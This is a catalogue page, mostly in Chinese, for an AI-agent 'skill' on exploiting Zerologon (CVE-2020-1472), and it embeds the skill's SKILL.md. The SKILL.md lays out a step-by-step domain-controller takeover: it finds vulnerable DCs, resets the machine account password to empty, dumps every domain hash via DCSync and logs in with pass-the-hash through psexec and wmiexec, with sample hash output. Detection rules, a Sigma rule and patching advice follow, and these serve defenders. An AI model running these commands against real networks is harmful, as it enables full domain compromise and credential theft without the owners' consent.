exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
Best use case
exploiting-zerologon-vulnerability-cve-2020-1472 is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
Teams using exploiting-zerologon-vulnerability-cve-2020-1472 should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-zerologon-vulnerability-cve-2020-1472 Compares
| Feature / Agent | exploiting-zerologon-vulnerability-cve-2020-1472 | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用 Zerologon 漏洞(CVE-2020-1472)
## 概述
Zerologon(CVE-2020-1472)是微软 Netlogon 远程协议(MS-NRPC)中的一个严重权限提升漏洞(CVSS 10.0)。该缺陷存在于 AES-CFB8 模式的密码学实现中,初始化向量(IV)被错误地设置为全零。这允许对域控制器拥有网络访问权限的未经认证的攻击者建立 Netlogon 会话,并将 DC 机器账户密码重置为空,从而实现完整的域入侵。微软于 2020 年 8 月修补了此漏洞(KB4571694)。
## 前置条件
- 到域控制器的网络访问(TCP 端口 135 和动态 RPC 端口)
- 无需认证(未认证漏洞利用)
- 目标 DC 不能启用 2021 年 2 月的强制模式
- 已安装 Impacket 工具包
- 红队演练书面授权
## MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1068 | 利用漏洞进行权限提升 | 权限提升 |
| T1210 | 利用远程服务 | 横向移动 |
| T1003.006 | 操作系统凭据转储:DCSync | 凭据访问 |
| T1078.002 | 有效账户:域账户 | 持久化 |
## 漏洞技术细节
### 根本原因
Netlogon 认证协议使用带有客户端质询和服务器质询的 AES-CFB8 加密。漏洞存在是因为:
1. IV 被硬编码为**16 字节零**
2. 当明文为**8 字节零**时,AES-CFB8 以**1/256 的概率**产生**全零**的密文
3. 攻击者可以发送大约 256 次认证尝试(约需 3 秒)以成功
### 受影响系统
- Windows Server 2008 R2 到 Windows Server 2019
- 所有运行未打补丁 Netlogon 服务的域控制器
- Samba 版本 < 4.8(如果以 AD DC 身份运行)
## 步骤一:识别易受攻击的域控制器
```bash
# 扫描域控制器
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24
# 使用 Zerologon 检查器检查 DC 是否易受攻击
python3 zerologon_tester.py DC01 10.10.10.1
# 使用 CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon
```
## 步骤二:利用 Zerologon
```bash
# 使用 Impacket 的 CVE-2020-1472 漏洞利用工具
# 这会将 DC 机器账户密码设置为空
python3 cve_2020_1472.py DC01$ 10.10.10.1
# 预期输出:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0(约 256 次尝试后成功)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string
```
## 步骤三:使用空密码执行 DCSync
```bash
# 使用空哈希执行 DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1
# 输出包含所有域哈希:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::
# 或转储特定账户
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
-just-dc-user Administrator
```
## 步骤四:获取域管理员访问权限
```bash
# 使用 Administrator NTLM 进行哈希传递
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
# 或使用 wmiexec 进行更隐蔽的访问
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
corp.local/Administrator@10.10.10.1
```
## 步骤五:恢复机器账户密码(关键)
**警告**:利用 Zerologon 后,DC 机器账户密码为空,这将破坏活动目录复制和服务。必须恢复密码。
```bash
# 方法一:使用漏洞利用工具的恢复功能
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
-hexpass <original_hex_password>
# 方法二:从 DC 强制修改机器账户密码
# 以 Administrator 身份连接到 DC 并运行:
netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*
# 方法三:重启 DC(它会自动重新生成机器密码)
# 这是最安全的方法,但会导致停机
```
## 检测
### Windows 事件日志
```
事件 ID 4742: 计算机账户已更改
- 注意: DC$ 账户的密码更改
- 异常: 短时间内 DC$ 的多次 4742 事件
事件 ID 5805: Netlogon 认证失败
- 多次失败后成功 = Zerologon 尝试
事件 ID 4624(类型 3): 网络登录
- DC$ 账户从意外 IP 登录
```
### 网络检测
```yaml
# 针对 Zerologon 的 Suricata 规则
alert dcerpc any any -> any any (
msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
flow:established,to_server;
dce_opnum:4;
content:"|00 00 00 00 00 00 00 00|";
sid:2030870;
rev:1;
)
```
### Sigma 规则
```yaml
title: Zerologon 利用尝试
status: stable
logsource:
product: windows
service: system
detection:
selection:
EventID: 5805
LogonType: 3
timeframe: 5m
condition: selection | count(EventID) > 100
level: critical
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2020.1472
```
## 防御建议
1. **立即应用补丁** - KB4571694(2020 年 8 月)并启用 2021 年 2 月的强制模式
2. 通过注册表**启用强制模式**:`FullSecureChannelProtection = 1`
3. **监控事件 ID 5805** 以查找重复的 Netlogon 失败
4. **部署 Microsoft Defender for Identity**(自动检测 Zerologon)
5. **网络分段** - 限制从用户网络直接访问 DC
6. 在可能的情况下,**阻止来自非 DC 系统的 Netlogon RPC**
## 参考资料
- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura 白皮书: https://www.secura.com/blog/zero-logon
- CrowdStrike 公告: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA 警报 AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- 微软强制更新: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24Related Skills
testing-api-for-mass-assignment-vulnerability
测试 API 是否存在批量赋值(mass assignment,自动绑定)漏洞——攻击者可在 API 请求中附加额外参数,从而修改本不应被访问的对象属性。测试人员识别可写端点,向请求体注入未公开字段(role、isAdmin、price、balance),验证服务器是否在未过滤的情况下将这些字段绑定到数据模型。属于 OWASP API3:2023 Broken Object Property Level Authorization 范畴。适用于批量赋值测试、参数绑定滥用、自动绑定漏洞或 API 过度发布(over-posting)相关请求。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-vulnerability-scanning-with-nessus
使用 Tenable Nessus 执行认证和未认证漏洞扫描,识别网络基础设施、服务器和应用程序中的已知漏洞、 错误配置、默认凭据和缺失补丁。扫描器将发现与 CVE 数据库和 CVSS 评分关联,生成优先级修复指导。 适用于漏洞扫描、Nessus 评估、补丁合规检查或自动化漏洞检测等请求场景。
performing-ssrf-vulnerability-exploitation
通过探测云元数据端点、内网服务和协议处理器,检测用户可控 URL 参数中的 服务端请求伪造(SSRF)漏洞。测试 AWS/GCP/Azure 元数据 API(169.254.169.254)、 通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。
performing-ot-vulnerability-scanning-safely
使用被动监控、原生协议查询和经过精心控制的Tenable OT Security主动扫描,在OT/ICS环境中安全执行漏洞扫描,在不破坏工业过程或导致旧版控制器崩溃的情况下识别漏洞。
performing-ot-vulnerability-assessment-with-claroty
本技能涵盖使用Claroty xDome平台在OT环境中执行漏洞评估,实现全面资产发现、风险评分、漏洞关联和修复优先级排序。内容涉及通过流量分析进行被动漏洞识别、OT设备安全主动查询、与CVE数据库和ICS-CERT公告集成,以及考虑运营影响和补偿控制措施的基于风险的优先级排序。
performing-endpoint-vulnerability-remediation
通过基于风险评分对 CVE 进行优先级排序、部署补丁、应用配置变更和验证修复 来执行端点漏洞修复。适用于修复漏洞扫描发现的问题、响应严重 CVE 公告 或维护端点合规性与补丁管理 SLA 的场景。适用于涉及漏洞修复、CVE 补丁、 端点漏洞管理或安全修复部署的请求。
performing-authenticated-vulnerability-scan
认证(凭据)漏洞扫描使用有效的系统凭据登录目标主机,对已安装软件、补丁、配置和安全设置进行深度检查,相比未认证扫描可发现 45-60% 更多漏洞。
performing-agentless-vulnerability-scanning
配置并执行无代理漏洞扫描(agentless vulnerability scanning),利用网络协议、云快照分析和基于 API 的发现方式评估系统安全,无需在端点安装 Agent。
performing-active-directory-vulnerability-assessment
使用 PingCastle、BloodHound 和 Purple Knight 评估 Active Directory 安全态势,识别错误配置、权限提升路径和攻击向量。
implementing-vulnerability-sla-breach-alerting
为漏洞修复 SLA 违规构建自动化告警,包含基于严重程度的时间线、升级工作流和合规性报告仪表板。
implementing-vulnerability-remediation-sla
漏洞修复 SLA(服务级别协议)根据严重程度、资产重要性和漏洞利用可用性定义修补或缓解已识别漏洞的强制时限。有效的 SLA 计划推动责任落实、确保一致的修复时间线,并为漏洞管理成熟度提供可衡量的 KPI。